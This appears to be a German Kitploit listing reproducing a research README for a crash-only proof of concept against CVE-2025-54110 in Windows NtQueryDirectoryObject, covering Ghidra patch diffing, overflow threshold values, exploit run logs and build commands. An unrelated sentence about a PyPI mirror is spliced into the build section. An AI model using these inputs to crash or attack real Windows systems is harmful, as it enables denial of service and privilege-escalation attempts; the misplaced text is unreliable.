Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-54110-Kernel-EoP-PoC — Projektdatum: Okt. 2025 / PoC-Implementierung für CVE-2025-54110, eine Kernel-Level Integer Overflow Schwachstelle im Windows `NtQueryDirectoryObject` Systemaufruf. | Kitploit
Tools/GitHubGitHub/canomer/
cve-2025-54110-kernel-eop-poc
SchwachstellenanalyseExploitationReverse EngineeringPapers & ForschungLernen & BildungBinary-Exploitation
GitHubcanomer/cve-2025-54110-kernel-eop-poc

CVE-2025-54110-Kernel-EoP-PoC

Projektdatum: Okt. 2025 / PoC-Implementierung für CVE-2025-54110, eine Kernel-Level Integer Overflow Schwachstelle im Windows `NtQueryDirectoryObject` Systemaufruf.

Repository anzeigen
111vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-54110-Kernel-EoP-PoC

PoC-Implementierung für CVE-2025-54110, eine Kernel-Level Integer-Overflow-Schwachstelle im Windows-Systemaufruf NtQueryDirectoryObject.

CVE-2025-54110 - Analyse eines Integer-Overflows im Windows-Kernel

CVE: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110

Dieses Repository enthält einen Crash-Only PoC für die Kernel-EoP-Schwachstelle CVE-2025-54110, der ausschließlich für Sicherheitsforschung, Reverse Engineering und Exploit-Entwicklungsforschung entwickelt wurde. Dieser Code soll Techniken der Schwachstellenforschung demonstrieren, darunter:

  • Binäres Diffing mit Ghidra Version Tracking
  • Analyse des Windows Patch Tuesday
  • Methoden der Kernel-Schwachstellenforschung
  • Analyse des strukturierten Ausnahmebehandlungsverhaltens (SEH)

Dieser PoC erreicht KEINE Privilegienausweitung oder zuverlässigen BSOD. Er soll sicher Zugriffsverletzungen auslösen, die von den Windows-Kernel-Schutzmechanismen abgefangen werden.


Übersicht

CVE-2025-54110: Windows Kernel-EoP-Schwachstelle

Veröffentlichungsdatum: September 2025 (Windows Tuesday Security Patch)

EigenschaftWert
CWECWE-190: Integer-Overflow oder -Wraparound
CVSS 3.1 Score8.8 (Hoch) / 7.7 (Zeitlich)
Vector StringCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C
Attack VectorLokal
Attack ComplexityNiedrig
Privileges RequiredNiedrig
User InteractionKeine
ScopeGeändert
ConfidentialityHoch
IntegrityHoch
AvailabilityHoch
Exploit MaturityNicht nachgewiesen

Zusammenfassung

Eine Integer-Overflow-Schwachstelle im Windows-Kernel ermöglicht es einem authentifizierten Angreifer, lokal möglicherweise Privilegien zu erhöhen. Laut Microsofts Sicherheitshinweis:

"Ein Angreifer könnte diese Schwachstelle ausnutzen, indem er speziell präparierte Eingaben von einem sandboxierten Benutzermodusprozess sendet, um einen Integer-Overflow auszulösen, was zu einem Pufferüberlauf im Kernel führt und eine Privilegienausweitung oder Sandbox-Escape ermöglicht."

Mögliche Auswirkungen

  • SYSTEM-Privilegien könnten von einem erfolgreichen Angreifer erlangt werden
  • Sandbox-Escape aus eingeschränkten Benutzermodusprozessen
  • Kernel-Speicherverfälschung, die zur Codeausführung führt

Bewertung der Ausnutzbarkeit

  • Öffentlich bekannt gegeben: Nein
  • In freier Wildbahn ausgenutzt: Nein
  • Microsoft-Bewertung: Ausnutzung wahrscheinlicher

Forschungsmethodik

1. Patch-Analyse-Workflow```

Windows Update Files from Aug 2025 & Sep 2025 (KB.msu) ↓ Extract CAB Files ↓ Calculate SHA-256 Hashes (August vs September) ↓ Identify Changed Files ↓ Ghidra Version Tracking Analysis ↓ Setting Symbol Servers to Clarify Function Names ↓ Function-Level Diff Comparison

root@kitploit:~
### 2. Analysierte Dateien

Die erste Analyse konzentrierte sich auf zwei primäre Kernel-Komponenten:

#### win32k.sys (-)
- **Ergebnis:** Keine signifikanten Änderungen festgestellt
- **Bewertungsbereich:** 0.97-1.0 (hohe Ähnlichkeit)
- **Fazit:** Nicht die anfällige Komponente für CVE-2025-54110

#### ntoskrnl.exe (+)
- **Ergebnis:** Mehrere Funktionen mit signifikanten Änderungen
- **Bewertungsbereich:** Funktionen mit Bewertungen ≤0.951
- **Längenunterschiede:** Unterschiede in der Bytelänge zwischen Quelle und Ziel festgestellt
- **Exportierte Elemente insgesamt:** 2,036 Funktionen zur Analyse

### 3. Ergebnisse der Ghidra-Versionsverfolgung

Beispiel identifizierter Änderungen in `ntoskrnl.exe`:

| Bewertung | Konfidenz | Quelllänge | Ziellänge | Quellfunktion | Zielfunktion |
|-------|------------|---------------|-------------|-----------------|---------------|
| 0.951 | 2.618 | 1023 | 365 | FUN_1403146d0 | FUN_1403a4ea0 |
| 0.950 | 2.285 | 113 | 203 | FUN_140680810 | FUN_1406d952c |
| 0.950 | 3.137 | 782 | 1050 | FUN_14032106c | FUN_140303a38 |
| 0.951 | 2.675 | 141 | 171 | FUN_140407bd0 | FUN_140a172a0 |
| 0.951 | 2.660 | 346 | 150 | FUN_140610e60 | FUN_1406115d4 |

---

## PoC-Erklärung

### Technischer Ansatz

Das PoC (`precise_overflow_bsod.c`) versucht, die Integer-Überlauf-Schwachstelle auszulösen durch:

1. **Präzise Schwellwertberechnung:** `0xfffffdbc` (abgeleitet von base=0x20, name=0x200)
2. **NtQueryDirectoryObject API:** Zielfunktion zum Auslösen des Überlaufs
3. **Mehrphasige Angriffsstrategie:**
   - Phase 1: Präzise Integer-Überlaufversuche
   - Phase 2: Kernel-Speicher anvisieren
   - Phase 3: Multithread-Ausnutzung

### Code-Struktur```c
// Key threshold values calculated for overflow
ULONG precise_thresholds[] = {
    0xfffffdbc,  // Precise threshold - base=0x20, name=0x200
    0xfffffdbb,  // Threshold - 1
    0xfffffdbd,  // Threshold + 1
    0xfffffdba,  // Threshold - 2  
    0xfffffdbe,  // Threshold + 2
};

// Buffer configurations to test edge cases
PVOID buffer_types[] = {
    VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE),  // Normal buffer
    VirtualAlloc(NULL, 0x10, MEM_COMMIT, PAGE_READWRITE),    // Small buffer
    NULL,                                                    // NULL pointer
    (PVOID)0x4141414141414141,                              // Invalid pointer
    (PVOID)0x0000000000000000,                              // Zero address
};

Getestete Angriffsvektoren```

NtQueryDirectoryObject() Parameters: ├── DirectoryHandle: \BaseNamedObjects, \KernelObjects, etc. ├── Buffer: Various pointer configurations ├── BufferLength: Calculated overflow thresholds (0xfffffdbc variants) ├── ReturnSingleEntry: TRUE/FALSE variations ├── RestartScan: TRUE/FALSE variations └── Context: Controlled iteration state

root@kitploit:~
---

## Warum der PoC das System nicht zum Absturz bringt

### Tatsächliche Ergebnisse

Der PoC gibt konsistent `STATUS_ACCESS_VIOLATION (0xC0000005)` zurück, ohne einen Blue Screen of Death (BSOD) zu verursachen. Dies ist **absichtlich so** und demonstriert mehrere kritische Sicherheitsmechanismen des Windows-Kernels:

### 1. Strukturierte Ausnahmebehandlung (SEH)```
User-Mode Input → NtQueryDirectoryObject
                        ↓
                  ProbeForRead/Write
                        ↓
                  __try { ... }
                        ↓
              Access Violation Detected
                        ↓
                  __except { ... }
                        ↓
            Return STATUS_ACCESS_VIOLATION

Warum es funktioniert:

  • Windows-Kernel-Syscalls umschließen den Zugriff auf Benutzermodus-Zeiger mit Ausnahmehandlern
  • Ungültige Speicherzugriffe werden abgefangen, anstatt sich ausbreiten zu dürfen
  • Das System gibt einen Fehlercode an den Aufrufer zurück, anstatt abzustürzen

2. SMAP (Supervisor Mode Access Prevention)

Moderne CPU-Funktion, die verhindert, dass der Kernel-Modus (Ring 0) ohne explizite Autorisierung auf Benutzermodus-Speicher (Ring 3) zugreift:``` Kernel attempts to access user pointer ↓ SMAP checks permission (STAC/CLAC instructions) ↓ Unauthorized access detected ↓ CPU generates #PF (Page Fault) ↓ Caught by kernel exception handler

root@kitploit:~
**Auswirkungen auf den PoC:**
- Selbst wenn ein Überlauf auftritt, ist der direkte Speicherzugriff vom Kernel zum Benutzer blockiert
- Verhindert die Ausnutzung von Schwachstellen durch Zeiger-Dereferenzierung

### 3. KASLR (Randomisierung der Kernel-Adressraum-Layout)```
Boot Time: Kernel Base = Random Address
                ↓
Hardcoded PoC address (0xfffffdbc)
                ↓
        Does NOT match actual kernel structures
                ↓
    Write to non-critical memory OR caught by SEH

Warum kein BSOD auftritt:

  • PoC verwendet statische Adressen/Schwellenwerte
  • Echte Kernelstrukturen befinden sich an randomisierten Speicherorten
  • Schreibvorgänge verfehlen kritische Ziele (z. B. EPROCESS, Pool Headers)

4. Kernel-Pool-Integritätsprüfungen

Windows 10+ implementiert eine verbesserte Erkennung von Pool-Korruption:``` Heap/Pool Allocation ↓ Header Contains: ├── Magic Values ├── Size Information └── Checksums ↓ On Free/Access: Validate Integrity ↓ Corruption Detected? ↓ [YES] → Safe Exception → Return Error [NO] → Proceed Normally

root@kitploit:~
---

## Analyse der PoC-Ausführungsausgabe

### Erwartete Ausgabe

Siehe die `STATUS_ACCESS_VIOLATION (0xC0000005)`, dann ist es in Ordnung.```
C:\Users\reLab\Desktop\cve>.\poc64.exe
==================================================
    CVE-2025-54110 - Kernel Integer Overflow PoC
==================================================
[!] WARNING: This code may crash the system (BSOD).
[?] Do you want to continue? (y/n): y

[>] Targeting directory: \BaseNamedObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \KernelObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \Sessions
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \Windows
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[-] Exploit finished. If the system is still running, the attack may have been mitigated.

C:\Users\reLab\Desktop\cve>
Bild

Verbossed Experiment```

C:\Users\reLab\Desktop\cve>.\poc64_verbose11.exe

CVE-2025-54110 PRECISION INTEGER OVERFLOW BSOD EXPLOIT Threshold: 0xfffffdbc (base=0x20, name=0x200) !!! WARNING: HIGH PROBABILITY OF SYSTEM CRASH !!!

[+] Current user: desktop-lfkkhu2\relab [+] Current PID: 1444

[!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [+] NT functions initialized successfully [+] Using precise threshold: 0xfffffdbc

[+] Exploiting all directories with precise threshold...

[+] Precision exploiting: \BaseNamedObjects [] Phase 1: Precision overflow [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [] Phase 2: Kernel memory targeting [+] Targeting kernel memory with precise threshold... [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [*] Phase 3: Multi-threaded BSOD [+] Triggering precision BSOD with calculated threshold... [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision overflow successful! [+] Starting multi-threaded precision attack...

root@kitploit:~
### Beobachtetes Verhalten```
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBB, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBD, status=0xC0000005

Status Code: 0xC0000005 = STATUS_ACCESS_VIOLATION

Was dies bedeutet

AspektInterpretation
Bestätigung der Schwachstelle(+) Codepfad erreicht verwundbare Funktion
Eingabevalidierung(!) Präparierte Eingabe löst abnormales Verhalten aus
Systemstabilität(+) SEH verhindert Absturz; System bleibt stabil
DoS-Erfolg(-) Kein BSOD; Ausnahmebehandlung erfolgreich
EoP-Erfolg(-) Keine Privilegienerweiterung; kontrollierter Fehler

Erfolgskriterien nach Zielsetzung```

┌─────────────────────────────────────────────────────────┐ │ Objective │ Status │ Explanation │ ├─────────────────────────────────────────────────────────┤ │ Vulnerability Research │ + │ Behavior change │ │ │ │ confirmed │ ├─────────────────────────────────────────────────────────┤ │ Learning Experience │ + │ Kernel protections │ │ │ │ demonstrated │ ├─────────────────────────────────────────────────────────┤ │ Crash (DoS/BSOD) │ - │ SEH prevented crash │ ├─────────────────────────────────────────────────────────┤ │ Privilege Escalation │ - │ No code execution │ │ │ │ achieved │ └─────────────────────────────────────────────────────────┘

root@kitploit:~
---

## Bildungswert

### Was diese PoC demonstriert

#### Ergebnisse

1. **Methodik der Patch-Diffing-Analyse**
   - Vergleich von Binärdateien vor/nach dem Patch mit Ghidra
   - Identifizieren geänderter Funktionen durch Versionsverfolgung
   - Analyse scorebasierter Ähnlichkeitsmetriken

2. **Windows-Kernel-Architektur**
   - Verständnis des Syscall-Ablaufs (`NtQueryDirectoryObject`)
   - Erkennen der Grenzen zwischen Kernel- und Benutzermodus
   - Erlernen interner NTAPI-Funktionen

3. **Verhalten von Sicherheitsmechanismen**
   - SEH in Aktion: Ausnahme abgefangen vs. Systemabsturz
   - SMAP verhindert unbefugten Speicherzugriff
   - KASLR verhindert Ausnutzung statischer Adressen

4. **Forschungsprozess für Schwachstellen**
   - CVE-Analyse und Informationssammlung
   - Reverse Engineering von Binäränderungen
   - Hypothesentest durch kontrollierte Exploit-Versuche

#### Einschränkungen

1. **Moderne Kernel-Schutzmaßnahmen sind wirksam**
   - Einfache Überlaufversuche reichen nicht aus
   - Mehrere Verteidigungsebenen müssen umgangen werden
   - Statische Analyse allein kann Exploitierbarkeit nicht vorhersagen

2. **Lücke zwischen Theorie und Praxis**
   - Integer-Überlauf existiert (theoretisch)
   - Praktische Ausnutzung erfordert:
     - Informationspreisgabe (Kernel-Adressen leaken)
     - Heap-Shaping/Feng Shui
     - ROP-Ketten oder andere Codeausführungs-Primitiven
     - Umgehung von DEP, CFG, HVCI usw.

---

## Prioritätsfunktionen für die Analyse

Basierend auf den Merkmalen von CVE-2025-54110 (Integer-Überlauf → Pufferüberlauf im Kernel) priorisieren Sie die Überprüfung von Funktionen in der exportierten CSV, die Folgendes behandeln:

### Kategorien mit hoher Priorität```yaml
Integer/Size Calculations:
  - Functions with arithmetic operations on buffer sizes
  - Length calculation before allocation
  - Checked vs. unchecked math operations
  
Buffer/Memory Operations:
  - memcpy, memmove, RtlCopyMemory variants
  - ExAllocatePool* family
  - Buffer size validation routines
  
Object Directory Handling:
  - NtQueryDirectoryObject and related helpers
  - ObpLookupDirectoryEntry
  - Object enumeration functions
  
User-Mode Interface:
  - ProbeForRead/Write wrappers
  - Input validation functions
  - IOCTL handlers

Filterstrategie für 2.036 Funktionen

Schritt 1: Score-basierter Filter``` Score ≤ 0.951 AND (SourceLen ≠ DestLen)

root@kitploit:~
**Schritt 2: Stichwortsuche**```
Function names containing:
- "Directory", "Object", "Query"
- "Buffer", "Length", "Size"
- "Allocate", "Copy", "Validate"
- "Integer", "Overflow", "Wrap"

Schritt 3: Kreuzreferenzanalyse``` Functions called by NtQueryDirectoryObject: ObQueryNameString ObpEnumerateDirectory [Related helper functions]

root@kitploit:~
**Schritt 4: Änderungsgrößenordnung**```
Prioritize functions with:
- Length difference > 100 bytes
- Confidence score 2.0-3.5 (moderate changes)

Erstellen und Ausführen

Voraussetzungen```

  • Windows 10/11 (x64)
  • Visual Studio 2019+ or MinGW-w64
  • Administrator privileges (for syscall access)
root@kitploit:~
### Kompilierung```bash
# on x64 Native Tools CLI for VS 20xx

# Using Visual Studio
cl.exe /Fe:poc64.exe precise_overflow_bsod.c ntdll.lib

# or
cl poc.c /link /SUBSYSTEM:CONSOLE

Python Package Index (PyPI) Mirror-Server und Kommandozeilen-Client-Tool, mit benutzerfreundlicher Oberfläche, automatischer Synchronisation von Paketen von einem entfernten Mirror und einfacher Verwaltung.

Es kann auf folgende Weise verwendet werden: .```bash

Using MinGW

gcc precise_overflow_bsod.c -o poc64.exe -lntdll

root@kitploit:~
### Ausführung```powershell
# Run with admin privileges
.\poc64.exe

Erwartete Ausgabe:``` [+] Current user: DESKTOP-XXXXXXX\user [+] Current PID: 1234 [!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [+] System is still running - protections may be active.

root@kitploit:~
---

## Ressourcen und Referenzen

### Offizielle Quellen

- [Microsoft Security Advisory - CVE-2025-54110](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110)
- [CWE-190: Integer Overflow or Wraparound](https://cwe.mitre.org/data/definitions/190.html)
- [Windows Kernel Internals - Microsoft Docs](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/)

### Forschungswerkzeuge

- [Ghidra - NSA Software Reverse Engineering Suite](https://ghidra-sre.org/)
- [WinDbg - Windows Debugging Tools](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/)

### Weiterführende Lektüre

- [Kernel Exploit Development](https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/)
- [Windows Kernel Exploitation](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
- [Patch Diffing with Ghidra](https://www.youtube.com/watch?v=K83T7iVla5s)

---

## Rechtlicher Hinweis

Dieser Code wird NUR ZU BILDUNGSZWECKEN bereitgestellt.

VERWENDEN Sie diesen Code NICHT für:

• Unbefugten Zugriff auf Computersysteme

• Böswillige Angriffe oder Schäden

• Illegale Aktivitäten


Der Autor übernimmt KEINE Haftung für Fehlgebrauch.
Benutzer müssen alle geltenden Gesetze einhalten.

**Durch die Nutzung dieses Codes bestätigen Sie:**

1. Sie haben die Berechtigung, auf Zielsystemen zu testen
2. Sie verstehen die rechtlichen Auswirkungen in Ihrer Gerichtsbarkeit
3. Sie übernehmen die volle Verantwortung für Ihre Handlungen
4. Dies dient dem Lernen, nicht böswilligen Aktivitäten

---

## Rechtlicher Hinweis
Dieses Repository wird ausschließlich zu Bildungs-, defensiven Sicherheitsforschungs- und Schwachstellenreproduktionszwecken in kontrollierten Laborumgebungen bereitgestellt.
Die Informationen und der Proof-of-Concept-Code sollen Verteidigern, Forschern und Anbietern helfen, die gemeldete Schwachstelle zu verstehen und zu beheben.
Unbefugte oder böswillige Nutzung dieses Codes gegen Systeme ohne ausdrückliche Genehmigung kann gegen geltende Gesetze und Vorschriften verstoßen.
Der Autor ermutigt nicht zu illegalen Aktivitäten und billigt diese nicht und übernimmt keine Haftung für Missbrauch oder durch dieses Material verursachte Schäden.

Dieser Schwachstellen-Offenlegungsbericht wird bereitgestellt für:
1. Sicherheitsforschung und Bildung
2. Benachrichtigung der Anbieter und Patch-Entwicklung
3. Schutz der Endbenutzer
4. Akademische und defensive Sicherheitszwecke

**Verbotene Nutzungen:**
- Unbefugter Zugriff auf Computersysteme
- Böswillige Ausnutzung
- Illegale Aktivitäten

Der Forscher führte alle Tests auf persönlich eigenen Systemen in kontrollierten Umgebungen durch. Es wurde kein unbefugter Zugriff auf Systeme Dritter vorgenommen.

**Berichtsversion:** 1.0  
**Zuletzt aktualisiert:** 9. Februar 2026  

---

## Kontakt

Für legitime Sicherheitsforschungsanfragen oder Bildungskooperationen:

**Verantwortungsvolle Offenlegung:**
- Sicherheitsprobleme mit diesem PoC → Öffnen Sie ein GitHub-Issue
- Tatsächliche Ausnutzung von CVE-2025-54110 → Melden Sie an [MSRC](https://msrc.microsoft.com/)

---

## Lizenz```
MIT License - See LICENSE file for details

Educational software provided "as is" without warranty.
Use at your own risk.
Tool herunterladen